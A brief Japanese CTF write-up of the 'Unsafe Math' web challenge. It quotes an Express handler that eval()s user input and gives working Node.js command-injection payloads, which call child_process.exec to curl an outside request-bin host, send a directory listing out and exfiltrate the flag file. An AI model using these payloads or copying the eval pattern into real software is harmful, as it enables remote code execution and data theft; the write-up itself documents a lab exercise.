1つしか解けなかった・・・
Unsafe Math [Web]
app.post('/', function(req, res){
const regex = /[a-zA-Z]/g;
var width = req.body.width;
var height = req.body.height;
if(width === '' || height === ''){
return res.render('index', {'error':'one of the field is empty...'});
}
if(width.length > 10 || height.length > 10){
return res.render('index', {'error':'width or height are too large !'});
}
return res.render('index', {'result':'Result: ' + eval('(' + width + '**2 + ' + height + '**2) ** (1/2);')});
})
RCEにつなげられそうなエンドポイントがある。
制約はそれほど多くなく、文字数制限くらいしかない。
色々試すと、以下の入力を使うとRequestが飛んでくることが確認できる。
width[]=require("child_process").exec("curl+https://[request-bin]/test")&height=1
結果はResult: NaNとされるが、評価はされているっぽいので、RCEは達成できた。
後はPOSTでlsやらcatやらするとフラグゲット
width[]=require("child_process").exec("ls+|+curl+https://[request-bin]/test+-X+POST+-d+@-")&height=1
index.js
node_modules
package-lock.json
package.json
sec9et_fl46.txt
static
views
width[]=require("child_process").exec("cat+sec9et_fl46.txt+|+curl+https://[request-bin]+-X+POST+-d+@-")&height=1
THCon21{t34cHiN6_1s_N0t_sO_3@sY}